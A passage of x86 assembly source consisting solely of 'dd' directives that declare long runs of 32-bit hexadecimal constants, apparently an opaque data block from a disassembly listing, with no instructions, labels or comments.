		dd 75935E19h, 84114FAh,	7684E3E9h, 809AEE7Ch, 785E346Bh
		dd 19FD38E2h, 6622DE34h, 0FAF0382Eh, 0EC1E2884h, 27B87825h
		dd 0D51C4B81h, 0C75BFE9Fh, 7D002BBh, 0E8F626E4h, 62FCFB52h
		dd 0DF68E414h, 3C8282C6h, 765589C8h, 825B1BFh, 0F95F894Ah
		dd 15E88804h, 8A40CF94h, 117424CCh, 0D6DA32Dh, 688D03BCh
		dd 78DC3423h, 0BD089F28h, 90952FE6h, 773FBC0h, 2BC38B22h
		dd 6B9E8DC7h, 541D4BF1h, 0E4163FDFh, 287AC7B3h,	0CD6D5EFDh
		dd 0DCAE087Dh, 3B780574h, 3F1777F8h, 34F1C78Bh,	6EEDF76Bh
		dd 8BABF350h, 7D8305E7h, 0C1EA01BCh, 13E930F2h,	4658BA05h
		dd 7B553821h, 65941044h, 0FD32878Dh, 75B93A5h, 0A149740Dh
		dd 0D0FF44D4h, 0A0977522h, 9FB05759h, 15203589h, 181A4E6Bh
		dd 0DE140A2Dh, 9AEAD32Dh, 0C475D447h, 0E04674FCh, 0BF18F1F7h
		dd 41C7E102h, 0BA1D2B55h, 363A4035h, 0C369975Ah, 5D5F31C8h
		dd 0B486BAE7h, 0FF1A0EA0h, 788A2925h, 57EC4807h, 8A98ACA2h
		dd 0E28D7A96h, 461C2C8Eh, 0ECB86449h, 22F4CC1h,	510C2205h
		dd 24BE6493h, 18EDE04Fh, 0DFD30692h, 7D500C6Dh,	0D25DC09h
		dd 0F6137D90h, 5150251Ch, 15234869h, 7FD4688Ah,	424D1791h
		dd 7F85F49h, 0BFC62C46h, 7D2F1FE9h, 938DDEC0h, 5B2D2A6h
		dd 140EBBAh, 0EA270C68h, 0F4ADA444h, 0C8D028CCh, 0D6A48640h
		dd 84EA14F0h, 0F679A02Bh, 872B9878h, 47E95308h,	13D6224h
		dd 3045E0B5h, 0A1376948h, 272356E0h, 28DF672Bh,	79307725h
		dd 0E2837347h, 7366DD44h, 23575F32h, 8AA32D36h,	15BD893Dh
		dd 29EB3316h, 28DD34A5h, 47343E85h, 0E8C6EB1Eh,	4B78FD2Fh
		dd 0CF1C5466h, 0B5346677h, 0CDFB0F20h, 5B097F07h, 28597D12h
		dd 48FCE296h, 4CD55627h, 0FEB83D4Fh, 0BCA87444h, 3B30CEBh
		dd 1DA834BFh, 5C679C28h, 11AF0F78h, 0FB22A57h, 8C59D0A5h
		dd 0DB6BCC0h, 6819024Bh, 376D5D47h, 58C9338Bh, 7E0805BFh
		dd 0BF158A10h, 0C3033E0h, 3B410114h, 6AF97C21h,	0AFA173A8h
		dd 69E662A1h, 1C7BF250h, 0A58BC195h, 384E3D46h,	570262A3h
		dd 0BCBF326Ah, 40A52B74h, 80721615h, 0C89E5D8Bh, 0EE1A8D93h
		dd 49EBD722h, 406BC1D5h, 0D3104A2h, 0E16A3004h,	0BE249AC0h
		dd 0B3860A3h, 558905C2h, 0E816740Ch, 1E6A2E5Fh,	995981BAh
		dd 0D285F9F7h, 6C67080h, 0C2EB462Ch, 0E5985CB0h, 880E8A02h
		dd 0DD4E4008h, 0F13B8600h, 8038F373h, 0C78B1220h, 8388BBEh
		dd 3A4E30E8h, 7F34F8F0h, 0CC2B7348h, 18062108h,	6000F81h
		dd 3392D4B8h, 0D854C376h, 4386DC06h, 90EC21E4h,	48FCC8F4h
		dd 0AB1864C7h, 62E9F117h, 0F0B8E45Ah, 10F406C8h, 0A1FC0BF8h
		dd 662D7678h, 0F04FFC11h, 3CF8A9C3h, 0D24AE809h, 85DCD001h
		dd 0F5C50665h, 0C5EB5412h, 0A1C9BC6Bh, 9A090198h, 879A8D47h
		dd 0A798A177h, 0DD7D6327h, 6C4EB759h, 9FC42386h, 68A8BC91h
		dd 1EF08C82h, 994386F4h, 0CFC817Ah, 0E72BB68Ah,	0EC9B0C6Ah
		dd 80E0A4B5h, 10B02E94h, 2F1E9987h, 682321D7h, 1532EB04h
		dd 8977B177h, 169921E8h, 0B161A718h, 304950B8h,	956212FEh
		dd 84B12B2Fh, 0FC3877F6h, 46E8F880h, 902C2125h,	0C3FDDD14h
		dd 0EB29CB22h, 363A6533h, 0E226351Ch, 4B4CE175h, 11245468h
		dd 318386D7h, 11A42CA2h, 0C88856C6h, 0B58D2818h, 6A21A039h
		dd 24594860h, 130504F7h, 143B08BFh, 7F0B6E37h, 0B4C0DE19h
		dd 8DF24A4Fh, 6DFD4270h, 0A06781Ah, 39806B23h, 68361BD0h
		dd 0C532BB34h, 0AE82E758h, 712471DCh, 0A2F5FC53h, 3CB60425h
		dd 5DF40937h, 0E54D1159h, 2E34CD03h, 0CE7C802Ch, 0DE07A81Dh
		dd 0BF6DF292h, 840A7831h, 202076DBh, 16A4016Ah,	21591C97h
		dd 21382706h, 0E4C108FBh, 0F5E91844h, 48A5A3D7h, 0CEFB4EC3h
		dd 12E81F67h, 0EBFC24A8h, 0A4E65F51h, 0F008A8E0h, 708D072Fh
		dd 6284D902h, 1E72A948h, 14A957F8h, 801F380Fh, 683274F7h
		dd 1389ABB4h, 0A6820D38h, 52123E95h, 0FEC98449h, 7F203C36h
		dd 0D98D4C46h, 38590101h, 60CE751Eh, 535AD066h,	0EF0F24FAh
		dd 49CA261h, 0A7A29E3Ch, 0C70C6439h, 0D9988025h, 33EC44E6h
		dd 0B3934036h, 5BC1A80h, 0DC5F1FEBh, 4419482Ch,	88CA5F1Dh
		dd 0E3AA189Ch, 0B89F7AB1h, 38641261h, 754EB823h, 5D5D6D32h
		dd 71E1ED89h, 0EDCA2E64h, 0C8FD6810h, 25D84264h, 1A579F14h
		dd 244D28B8h, 27185D4Dh, 0CB9A9D5Ah, 0CCE05E24h, 5C948A3Ch
		dd 5E7A2445h, 0D24F7A21h, 0E3328F31h, 95C1322Fh, 59171474h
		dd 42C26DEFh, 0E6F74818h, 4BE2597h, 6805CC5Dh, 16CB85BCh
		dd 0B627FFECh, 8B057464h, 0C2C5EE3Dh, 0C026BEB3h, 49BCC529h
		dd 6475D76Bh, 0F6732A3Ch, 14107917h, 0CDBD8058h, 12752E83h
		dd 0B0ED1222h, 9465274h, 3DA42E3Ch, 0B80EEC41h,	1841F9BEh
		dd 60480868h, 0F5FF8B8Ch, 0F918271Ch, 5F4320B6h, 14652C2Eh
		dd 53CB781Ch, 756A38D7h, 311DB08Dh, 0FF17E01Dh,	8F65A3D3h
		dd 10465420h, 0FD8A3822h, 0D4AFAE15h, 674F456Ah, 8ACFD8Ah
		dd 0E58CFA8Dh, 0FBBD7115h, 26CC2A73h, 0C4FA46B8h, 28222429h
		dd 4B565499h, 16B1318Ah, 98A78BD3h, 9C8BDEC5h, 9080FB02h
		dd 0FF64C525h, 90B028FEh, 0D9E800E1h, 317EE13Ch, 700F740Fh
		dd 829702C8h, 24EC381Ch, 98BF273Fh, 5E13E817h, 0CCD8F92Ah
		dd 22532B25h, 0F4B77C68h
		dd 667F6B7Ch, 886832ABh, 0A75F5727h, 0A4B5D6CFh, 0FCA30B02h
		dd 0FDD1DDBEh, 0F0460D22h, 21B8E021h, 0CAFC90C1h, 0B1BB1AF8h
		dd 21E80FF4h, 0BFCCBBB5h, 0E1900088h, 52D43510h, 51304F4Ah
		dd 0CCAEF0BBh, 18F25740h, 0F2D6ED44h, 0D6B6FEBFh, 0EB9111Fh
		dd 1D1835Fh, 548A04DAh,	70A3914h, 8EED65E8h, 96FD05EBh
		dd 42967004h, 1DA33D83h, 0BA9AD484h, 996405CCh,	0ED48094Bh
		dd 9D275E16h, 94775972h, 44424933h, 0CE04F210h,	503C7182h
		dd 0DBD20CA8h, 0DCBB205Dh, 63400F42h, 7170976Ch, 8A6A6239h
		dd 2148EE08h, 99B728F2h, 1002F8B7h, 5B930257h, 9FC1DDEBh
		dd 212D4AEEh, 0BF71A86Ah, 0FE622489h, 23FE1612h, 67986867h
		dd 5988F864h, 4235E822h, 1855E011h, 8D3F7423h, 64F621A5h
		dd 40C31424h, 5A53A60Bh, 1C26A055h, 247E5441h, 8012FADEh
		dd 0D4313AEh, 2223181Bh, 8DE80D5Dh, 4EE75244h, 10C2ED48h
		dd 126ABEFCh, 0A7D2AF2Fh, 0E3A941D2h, 28172E41h, 4C8D8E28h
		dd 10891C86h, 505751E8h, 304C4930h, 0C11C377Eh,	350460E8h
		dd 33717418h, 0DD1FC97Fh, 0E0FE3B41h, 64721056h, 7B830366h
		dd 50750508h, 15ADA864h, 2071E189h, 7307092Ah, 0C182E0C3h
		dd 8B253DA0h, 68246047h, 7DB70850h, 57878D12h, 9B1E3498h
		dd 0E895981h, 3A5C70A7h, 8B5A34C7h, 0F84DC925h,	36CD4246h
		dd 0EFCC383h, 9C3AAB0h,	0DD339C76h, 4439B469h, 4A5B5D12h
		dd 0BAFDC3ACh, 0EA7CF2F0h, 5276E020h, 0C763595Dh, 95E8110h
		dd 5C0E44EFh, 0AE151EEh, 6D9AB1E8h, 44A03A90h, 1BAC6468h
		dd 1F219646h, 438B0741h, 29C7E649h, 188818FBh, 7220083Bh
		dd 9B9DAD56h, 0F5EF8CDEh, 84827E59h, 90C6DF74h,	7B648CA1h
		dd 93FA7413h, 0EECCF051h, 177F72F5h, 9C64BAF0h,	2239F2EAh
		dd 82E2BD78h, 30897B40h, 2F4564B5h, 0EFD12815h,	0F862A019h
		dd 0B256B926h, 83AD85D3h, 192C2445h, 4DB50551h,	0F0E5C0FAh
		dd 0F09C7FFDh, 30C574ADh, 1BE9F6A1h, 25927C8Bh,	22FF1C6Ah
		dd 0D718707Bh, 656BBA9Bh, 65C47D40h, 0B5D1F0B7h, 23870356h
		dd 0F213BC8h, 2583DB85h, 1D545F6h, 0C9D11422h, 0F314CC5Ah
		dd 9DFA639Fh, 6026435Ah, 0A657F4B5h, 46D3504Ah,	5C628AA7h
		dd 0E8097164h, 31023042h, 6521171Dh, 682C2D33h,	2BE84279h
		dd 10741798h, 0E2CC84CCh, 3471CF4h, 0F83BC0C1h,	6FEBCA72h
		dd 6B5A2F92h, 878944FCh, 6CFD0D12h, 59A9B5F7h, 19A0F1FEh
		dd 128288B7h, 878A1041h, 7CD2587Bh, 0E805D10Ch,	897FE083h
		dd 87B6A305h, 0A309CDE9h, 0BA5EC110h, 94B6584Bh, 4016BDFEh
		dd 6B7B818h, 3438848Dh,	0C7812839h, 8A33006h, 0C3D8945h
		dd 1F24F2B3h, 5FF0F2D3h, 5F9F6F73h, 7C5BC649h, 544CE52Fh
		dd 8CF59F27h, 26A7564h,	56429A3Eh, 396B7D57h, 9C4EB4CAh
		dd 0BC5D8B18h, 5F3BC02Ch, 3E4AF5D8h, 9D50E0A9h,	42248B1Ch
		dd 0D7AD74D8h, 506FE10Ah, 8B2C7874h, 4D093955h,	896E19E4h
		dd 3923FCE0h, 75123BD0h, 0ED6D076Ah, 51646201h,	90D76749h
		dd 0F08918A3h, 65836B10h, 664A2BE9h, 24444256h,	66462862h
		dd 0DBE85609h, 5C67162Eh, 6694EE86h, 0C010BAD3h, 3274C217h
		dd 0D7E6A456h, 2E06EB71h, 5F475B12h, 3B375D03h,	8216A43Ah
		dd 844869B9h, 9641B24Ah, 816D63BFh, 82E4EF94h, 6006A286h
		dd 911D89B6h, 22A31234h, 0F9873833h, 1484105h, 4041DC74h
		dd 0C2FB80E2h, 489876Ah, 0EB080A48h, 0BCE2BC4Bh, 2D2BA125h
		dd 8D575538h, 8B860C69h, 0B4A65D2Fh, 9C9008FAh,	9382DA9Dh
		dd 14DA2341h, 8B422C0Dh, 0FF51C905h, 0B45D1035h, 0FECC102Dh
		dd 0F2A0F389h, 7556128Dh, 0BF9853DBh, 0D102D87h, 17DF0DF1h
		dd 0EE70D2B1h, 57028553h, 116D18E8h, 0F051A61Ch, 18C4B9FAh
		dd 0AD44984Dh, 89EA933Ch, 0A4151CE8h, 0A1978EAFh, 9551F46Bh
		dd 6642BBECh, 0BE5E87BFh, 26E3E2ABh, 8C5A0340h,	0ECD0C1A9h
		dd 5D7C65E8h, 9AFFEAABh, 26A80854h, 9AF0826Ch, 0F9EC5E98h
		dd 16819443h, 20EE3876h, 118A4FC8h, 88D28409h, 15E28155h
		dd 328E7980h, 0FAC50F75h, 27ECC520h, 0FF7DF0D8h, 0AA9767Eh
		dd 0C3D4C741h, 61539B7h, 3432CE72h, 0F235CF1Dh,	0C095F627h
		dd 5AFCEE52h, 826C2E10h, 9418EB1Ch, 0EF10211Ah,	18CC1490h
		dd 8158F486h, 0F7C27693h, 0D446860Fh, 857493Fh,	1459E2BAh
		dd 2A8FBB15h, 0A107CA5Eh, 0F90F643Eh, 0B09B37Eh, 0FAFB4068h
		dd 7551205Ah, 1CBE5912h, 8385455Dh, 0A83FC7Eh, 813EB318h
		dd 462B1376h, 353B775Fh, 70AF92D6h, 10C681CFh, 0FEEC9A92h
		dd 0C3257797h, 229CFBD4h, 0A01A8B20h, 72994268h, 774338E1h
		dd 5824FE5Eh, 157865ECh, 634468FFh, 892B2E33h, 87E0B5D9h
		dd 8FE832Ch, 0F7E97C42h, 0F9616342h, 3BD841E4h,	5F64A5F7h
		dd 0C3A59641h, 68E04384h, 0E85D0D48h, 34ED7671h, 74955644h
		dd 93E013F2h, 2F5050F9h, 0CF1D915h, 505A78EBh, 844A275Ch
		dd 419579Fh, 39114260h,	9F587538h, 2AE06431h, 0F1E221EFh
		dd 880D5962h, 5A025D18h, 0C645C19h, 1C52867Dh, 7D696414h
		dd 239250FAh, 42DEFD7h,	44F9AB05h, 444008C4h, 0BA166D68h
		dd 486908C8h, 0B0931AF6h, 2434B6F5h, 0C2C74EC3h, 474D2069h
		dd 69BE8950h, 64D71118h, 0DB3309E6h, 1304C73Bh,	30668986h
		dd 15E39FFh, 0C298E8E9h, 0E1D7DFF8h, 624C97C1h,	18880E59h
		dd 0BF6401B8h, 0CF31AC22h, 2187A008h, 0B232A11Fh, 8809EF0Fh
		dd 0B262CB9Bh, 492C1167h, 0B2B59314h, 23438CE9h, 0A2B6CB40h
		dd 72F35D82h, 0C4235715h, 5A8D61CFh, 0BE23110Ah, 57951021h
		dd 89A0C837h, 0B270C33Bh, 0C797E24h, 0EB3A002Fh, 50848A68h
		dd 1D3C2405h, 1D1C740Dh, 218160Ah, 0FA00805h, 622FBD0Fh
		dd 820B75EAh, 0A184DAD0h, 5F3AEB25h, 33524464h,	0F8105E48h
		dd 89EF4216h, 0A8225AB6h, 522577B8h, 81441357h,	43BF8C3Dh
		dd 0FC7409C7h, 23793B40h, 0E9937502h, 0BBA4DF5Ah, 8B56889Eh
		dd 0E1DD4AAAh, 0A93F0769h, 74BB93F4h, 0CE2DEEE5h, 82866735h
		dd 0EE677EFCh, 3933B850h, 0D2474EAh, 4741A805h,	0C232383Dh
		dd 0FF83EF00h, 8B4A7431h, 56B6F74Dh, 62B856C0h,	797230FAh
		dd 0A4AF2A00h, 6E839FCEh, 16D5C7F8h, 505A2241h,	0B680E40h
		dd 29BB825Ah, 4D162FBFh, 10D8DEF5h, 0E099587Ch,	507540E2h
		dd 0C9D4589Fh, 37607584h, 84672D83h, 0C0DB75A4h, 0D80DDC06h
		dd 159843C4h, 7456884Ah, 0DEAAC12h, 0FD371209h,	6A0B8B0Dh
		dd 837AF666h, 0A89534FFh, 0BDBAB1ADh, 6166A232h, 0B9990BF4h
		dd 1BF5A2C0h, 5F4420CBh, 718C4218h, 5D9A2F82h, 1C5F0C25h
		dd 8B3744CEh, 134FF6B0h, 2B58AA81h, 0EC05C93Ch,	866BBE8h
		dd 0C039F472h, 164584D0h, 0A3F7E02Ah, 0DA2A18AEh, 0C8428D4Dh
		dd 47CFB11h, 0A0BF02FEh, 137E41D1h, 0BC031496h,	1127B96h
		dd 0D2BF0974h, 0E822B9B2h, 424E966Dh, 67C834C0h, 0A8859002h
		dd 1C011F9h, 900770FCh,	0FD4355Ch, 0D743BE25h, 71EDF582h
		dd 6AE63A5Eh, 2441D924h, 9ECD14DBh, 9120DAD7h, 9DA04E4Dh
		dd 0DE5480B0h, 4289AEC9h, 35165472h, 36FB60C7h,	1C166C09h
		dd 0C96DDFF0h, 6D87DD59h, 85F41FE8h, 32F54DB3h,	8A224032h
		dd 88B99080h, 21759403h, 9F20298Ch, 29B3250Ch, 97B01935h
		dd 4E1B1D15h, 0D3EA0CFEh, 924FE020h, 0A5D6B8BDh, 571508ECh
		dd 0E8153198h, 84187138h, 0D51F011Eh, 0A6636F79h, 0E4760346h
		dd 160D13DAh, 8A7BF0A9h
		dd 0E423288Ah, 38F857EFh, 0BDFAD4DFh, 3E433920h, 7F7EC22h
		dd 10F09EE8h, 4145D02Bh, 8338FABDh, 84A0857Bh, 1EEBD405h
		dd 252806E8h, 22B8500Dh, 41B18861h, 88C82A0Dh, 0B52A404Ch
		dd 43C4009Bh, 6452E1E8h, 45B08825h, 0EA8D753Ch,	0A167D9E0h
		dd 0F22A5B88h, 0D28514C0h, 35B58489h, 64A2102Bh, 7A47FAB8h
		dd 7C647DC4h, 0D17A43D8h, 6E06087h, 28E87B7Dh, 7A7A6456h
		dd 2C0E5605h, 0BB90D022h, 10086A29h, 38AB8B24h,	928F91E6h
		dd 521A7915h, 0A8C8611Ch, 30207744h, 0FF911DEBh, 0FD8A221Fh
		dd 58F98063h, 2FB800Ah,	57E8797Dh, 0CD4827D6h, 367A2EE1h
		dd 155B3D44h, 0B26463B8h, 45131A13h, 1E969AEAh,	0F514A042h
		dd 22813979h, 207DD83Bh, 1FA57B02h, 0D6889890h,	0D5923DA1h
		dd 0A46134AAh, 5C4AF4EFh, 0FF4C4AB7h, 23D4EAA5h, 0EA2B9EF0h
		dd 0FF850914h, 0C9FD1D7Eh, 250A08E0h, 9233D393h, 3C49EF0Bh
		dd 0C140DDE3h, 0B00CC35Dh, 71F8EB01h, 201026B8h, 67148B75h
		dd 48567C98h, 0CCE9575Eh, 31CB073Bh, 6E036A73h,	0E26B00E3h
		dd 7DE21D7Eh, 8764DF3Dh, 0E3A05D9Fh, 0DAEB03E0h, 79905695h
		dd 4FD26FF0h, 9482FFF7h, 950C074h, 824B569Ch, 795BE954h
		dd 0BE68C555h, 579A5553h, 24AAE809h, 119D6755h,	7FD9256h
		dd 5304BC22h, 0B068486Ah, 0A1AF20D4h, 0A5170C22h, 5952778Ah
		dd 2E075EB5h, 8C5613B7h, 1FA6A029h, 34808644h, 0C333F2BDh
		dd 7E087D8Ch, 0A5FC6818h, 44C54B94h, 382A6874h,	0B703BA41h
		dd 3620FD74h, 0A0477502h, 68186887h, 0C2276AFCh, 0A17C9EE8h
		dd 40818464h, 2CED810Ch, 9D0CD07Fh, 0EB3743C3h,	0D1D84F20h
		dd 93F61877h, 0E78B1D1Ch, 0F62C6E5Dh, 0E95B1AC3h, 0A6B93BADh
		dd 76F10408h, 0BB6F4BDEh, 3976B9C6h, 71F1A221h,	4B7A5E78h
		dd 0CA3E86Ch, 5C0224ADh, 7E0DB8D8h, 7DB2E9DBh, 7B5D6121h
		dd 2B41854Eh, 0EC2EC5C7h, 0AA5A20D0h, 846FF6D5h, 81302480h
		dd 7E324BB9h, 1010B823h, 8F709134h, 25390D0Ch, 1050F943h
		dd 666BF022h, 800FD9A9h, 628B3097h, 3F7E24F7h, 0C627B052h
		dd 90AE7A5Bh, 58309F03h, 0DC9507D0h, 0A15ECFD7h, 43F83008h
		dd 0D32D32E8h, 2521D28Bh, 197F31E9h, 0C52B47DAh, 3723EAD0h
		dd 70C9FA67h, 29B5508Eh, 8A150B7Eh, 417D3114h, 7510050Eh
		dd 1C7D8803h, 0C83B4101h, 0D233EB7Ch, 227E4287h, 0F832E438h
		dd 0BC4C3A90h, 74198201h, 5FFF8110h, 0D7D4F48h,	0BD8C8914h
		dd 42470039h, 0DE7CD03Bh, 2C5D4C39h, 22731729h,	7D93A47Eh
		dd 31704CE8h, 4F06E6D6h, 91E856AAh, 45B91438h, 0F33C0041h
		dd 0FF788DABh, 7C06E498h, 0DF8B531Fh, 8A100A3Bh, 1CAE0604h
		dd 592D2012h, 4FAD046h,	811C8918h, 7ECE804Bh, 7CC95BE5h
		dd 246440C3h, 473AC404h, 613C0091h, 0EA0B7C59h,	77F357Ah
		dd 0E89E0128h, 3F33C360h, 0C1C3DF3h, 17242010h,	90690264h
		dd 9130FC58h, 348FA545h, 7E17F16Dh, 0EFF4A391h,	2B32263Eh
		dd 6EE8ECE7h, 4BDE6B5h,	0EBFE8B4Eh, 9AC19672h, 90E77D80h
		dd 2CD855CBh, 83071F70h, 0D6BA56D4h, 5D284C8Fh,	1F419E08h
		dd 3F6D7CEBh, 84AAF455h, 0CA82A04Dh, 26CE482Bh,	7027E1Eh
		dd 83F803C1h, 3693FC7Dh, 728D950Ah, 9A444DFFh, 1F0C1458h
		dd 0F8D70797h, 4B198DD5h, 4E814D60h, 4FB275C1h,	7F08304Eh
		dd 3CF8A64h, 0C3011A99h, 326EF7EBh, 5DF6016Fh, 0C7526044h
		dd 9710B8Dh, 3B166894h,	27BB4B50h, 12100C7Ch, 2C0578B1h
		dd 1F304F54h, 0C80088Ah, 57F1FF9h, 72B7090Ah, 81F15E1Dh
		dd 0C68D4876h, 72D4198Ch, 2E1D0C50h, 14EB7420h,	2FE67C21h
		dd 0BEDF0192h, 2A4F2848h, 0FC408A21h, 8E1B201Dh, 54BD5F70h
		dd 92CBEDA4h, 32FC58C0h, 0E35C2AC9h, 59347896h,	1C96B31Fh
		dd 0D6340BE4h, 3493BAF5h, 0C136530h, 0C71D11DCh, 893C545h
		dd 0CC19A155h, 0FC5B5468h, 8BB460FAh, 0EE133BE8h, 0F2C26A74h
		dd 106BA45Ch, 6049A5Fh,	46A056F6h, 1F5C8FD9h, 0D22E2521h
		dd 9F763C7Bh, 0DE247FCAh, 0B85D3008h, 680150E1h, 55F552C8h
		dd 4C11A7Dh, 3C39C90Fh,	5438103Fh, 425B572Dh, 400B0626h
		dd 0F265775Bh, 0BD7E782Dh, 0F680AFCEh, 0B584FEE4h, 0C54E6CDEh
		dd 83CCFC64h, 64F4BE40h, 9FBCEA73h, 36A5782h, 0E93FFD56h
		dd 4E71FA91h, 0CB13A2E4h, 925959D6h, 6B2FB14Ch,	0F0CF1CB8h
		dd 1448F319h, 3C21F9FCh, 7F366A9Ch, 0B502EE0Ah,	6CD377CEh
		dd 1629E1F3h, 44E9CC36h, 60D3F3A4h, 54C9A2F2h, 0F975D212h
		dd 0CB8A4736h, 323EBDF9h, 2B7E19ACh, 857D9AD2h,	0C719FEDEh
		dd 0B9B14426h, 1501D80Eh, 0DCD06EC9h, 53744868h, 5C1787DBh
		dd 0B28D5DD0h, 0F87FD1B5h, 0BD78A6DBh, 0F24B3651h, 28EBBAC5h
		dd 0D590235Eh, 7C304AFCh, 1431E87Dh, 383E6891h,	6A046305h
		dd 0C84A0806h, 86D4E2Fh, 4364A018h, 35390207h, 8243F094h
		dd 0F50F74E5h, 75097BF9h, 2F2F8207h, 59E08781h,	0F2297D62h
		dd 0F89C2284h, 77958986h, 121B1512h, 0FDA00E10h, 0D190681Ah
		dd 5B5FA102h, 14200FFBh, 9557E695h, 7AAD51E7h, 860F2FE5h
		dd 228462DAh, 3E445052h, 223D5468h, 2BE2978Eh, 2815191Bh
		dd 46BA2D1Eh, 7957250Eh, 0EB0BA4BDh, 3B2FB8F5h,	124F9355h
		dd 8F09ACA8h, 0F96D02Dh, 0BFE57D54h, 0A4684404h, 545709FEh
		dd 0B44503F7h, 6A662A48h, 0E12DD40Eh, 8C1E966Eh, 97507044h
		dd 0A4C412D6h, 0D68CEA52h, 74DAC583h, 0BF122512h, 0F12E0B36h
		dd 0BB47244Ah, 6762E488h, 6DB15F5Ah, 9FF86E9Ch,	6ED8B0D0h
		dd 71BF544Ch, 0AD68E476h, 0E694510Dh, 0AD0F2792h, 0EAB06532h
		dd 28959A2h, 6845A8FEh,	0EA97D5BEh, 0E80960A6h,	533A545Ch
		dd 45D5100Bh, 9CBB3169h, 0A6EA0553h, 0F7552F3Dh, 2A147126h
		dd 0B096084Ah, 0D866FD3Bh, 68312F31h, 84F42CFCh, 9E18FD6Ch
		dd 0C9DA59BDh, 0A3B67D1Bh, 9F0BBC20h, 2F381FC9h, 0FDD672AFh
		dd 28CBCA0Fh, 1B400D4Bh, 0EC837490h, 1C278682h,	65367D5Fh
		dd 470AF19Dh, 0EFDDE99Dh, 30C88423h, 5A39694Eh,	14775727h
		dd 31083F20h, 23AA7EC6h, 0CD69B27Ch, 8EE42F6Ah,	84BB9144h
		dd 5877938Ah, 0AE534BC7h, 0BE3B8AD9h, 9CDADC27h, 11D1E42h
		dd 2890BF59h, 0FD708456h, 442EF6EEh, 5A698895h,	4A64FDB3h
		dd 56582C92h, 0F0E8C23Ch, 99D1771Ch, 5FC42921h,	539ABB13h
		dd 0F42A8E10h, 0F2AAC564h, 83AB9647h, 4C4224AFh, 8A1F9191h
		dd 715AF0A0h, 1B08B5Dh,	0C0551B9Ch, 0C8DB5A9Dh,	75048570h
		dd 0E8E3EA1Ch, 99850F0Dh, 50B2F3Bh, 4AAD7E39h, 34881703h
		dd 0FD8282D3h, 0F051AFF4h, 0E6F6F4F5h, 0B7A2B7F7h, 6FC2326Ah
		dd 404213DEh, 1FBA08FEh, 26D2A0F4h, 22EEC465h, 1199E3FAh
		dd 0D14CFE08h, 23D2E834h, 45180F26h, 501A3B96h,	8347F51Fh
		dd 0CAA74B21h, 3C1586AFh, 10D3C9BCh, 0A648C9F1h, 0D550AC7h
		dd 895A0922h, 0A5EE7EAFh, 518DB0F7h, 225B9556h,	0BB583C88h
		dd 0E10D4634h, 4CFD6BACh, 0ED620C25h, 0DAF000F2h, 0DC174D7Bh
		dd 4391E00Dh, 2B016E93h, 93A62CF0h, 0EB74D4FAh,	964C9EF2h
		dd 6134ED50h, 0E6C1FE40h, 0B6845002h, 0FC95FE90h, 21629CBFh
		dd 2DC31417h, 442AF61Ch, 6690BE8Ch, 0DC68D4C6h,	73C2B015h
		dd 0CCE6BFCDh, 0DB523A64h, 1D441056h, 0B064F888h, 1DEB1430h
		dd 40048D15h, 0A9834A18h, 68351E88h, 431F6824h,	870C2891h
		dd 0DFC21B9Dh, 0D2531C22h, 4B3F7075h, 7CD6880Fh, 27B6CC9Dh
		dd 0CA300A75h, 61F7EBD8h
		dd 3CF17AE4h, 0A564D275h, 222F5B64h, 2096F3A8h,	2414D5Fh
		dd 2B7401F8h, 46030A9Dh, 0E377E17h, 327F0616h, 0EEB425AAh
		dd 0D015E446h, 16EB2C65h, 6C1FCCCBh, 0B7269784h, 0E08913D4h
		dd 91485908h, 57298027h, 0AF5E1307h, 8929EE55h,	564F2B9h
		dd 870FC13Bh, 973B8CA4h, 0FBF98389h, 5A772289h,	0EDC8DBE1h
		dd 3DEA8EE9h, 15193749h, 189F2206h, 0A131951h, 94312B24h
		dd 0F1574868h, 0A08D7D5h, 22CD4470h, 8C3119Ch, 0B94284B4h
		dd 0AF10E821h, 4508188Eh, 0B067A511h, 0EF1C8681h, 0AE257433h
		dd 11063B1Bh, 229CA664h, 8421846Ch, 15E3BA5Eh, 0B8BA7DEBh
		dd 72760786h, 6F0F0167h, 4A9FF0EFh, 60B15BB9h, 58746D77h
		dd 0DE888D17h, 0F93247EEh, 0F60D011h, 0E51C89B6h, 0C3F4195h
		dd 0FBD8D24h, 2B985068h, 0A1C0EE3Dh, 80913607h,	282F3F02h
		dd 287E075Ch, 213F7C42h, 1A1FA821h, 9F030488h, 8F309013h
		dd 478CC80Ch, 5FB0E405h, 0FD805012h, 9C54C0E8h,	0DF42B708h
		dd 0E414D0EAh, 2860A3ACh, 0C3330DB8h, 226EDF67h, 8A448309h
		dd 12608952h, 487C2475h, 70A49159h, 201090Eh, 4589D03h
		dd 0CC060506h, 8060708h, 0E2B5CEB1h, 244999B7h,	49A8E893h
		dd 0EAEE9E27h, 9F26E34Ah, 71FBEE35h, 0D064924h,	0FAD73838h
		dd 0CCAE9D35h, 72E3680Ch, 6B0B4EB1h, 1DB95930h,	0EB4ED348h
		dd 0EA38268Eh, 0DB73242h, 302F7D33h, 17A38E66h,	78B58D18h
		dd 1D468B73h, 32744808h, 32043C06h, 1E102808h, 0B2E7143Fh
		dd 0C207F4E0h, 0B4904D1h, 3192132h, 3CF22B07h, 48358712h
		dd 0E85467E8h, 67E86067h, 7866E86Ch, 0A077D30Fh, 0F5865340h
		dd 0ADDD4D2h, 4EA4FC76h, 3F8436B1h, 3D704538h, 4D26694Ah
		dd 56E0814h, 0A1472843h, 2D7824C6h, 638C0F0Dh, 5EAF2A3Dh
		dd 0FDCAFC1Bh, 0DC808B9Ch, 43B65DAh, 0F55B5EF9h, 102C2B88h
		dd 45D9BA85h, 311D6589h, 46972F78h, 5CA548F7h, 247A05B8h
		dd 60BC01ADh, 107D834Ch, 38018F90h, 0E857246Ah,	633B5FB2h
		dd 0D5F72A29h, 5A8D0458h, 169F1009h, 0E2057604h, 0CA8E2D18h
		dd 45049008h, 4352C788h, 50BDEB18h, 0B4384DA6h,	2959E75Bh
		dd 8CC432C7h, 9519BC22h, 2038600Dh, 1F8AB2B2h, 543123CAh
		dd 86730CD8h, 5D8B1EB1h, 5F3F4AC3h, 4759182h, 532F1EF2h
		dd 16DDDA55h, 0D1503D8Bh, 2CFF6A09h, 0F38296A7h, 0EC00FD28h
		dd 1805F6D7h, 12C2F60h,	1575E88Bh, 0B0D8016h, 82FA5C51h
		dd 73F6BDh, 2CB0A359h, 554563DCh, 91A35FFh, 0A1343172h
		dd 5D5F0F40h, 9786BB5Bh, 5CF8C820h, 81610DE1h, 5A88ACEAh
		dd 460DB724h, 5E9DF41Fh, 3E1017A1h, 297F6C82h, 6512F659h
		dd 4D04461Dh, 24F9FFF0h, 80292533h, 0E8E45409h,	0BF35461Eh
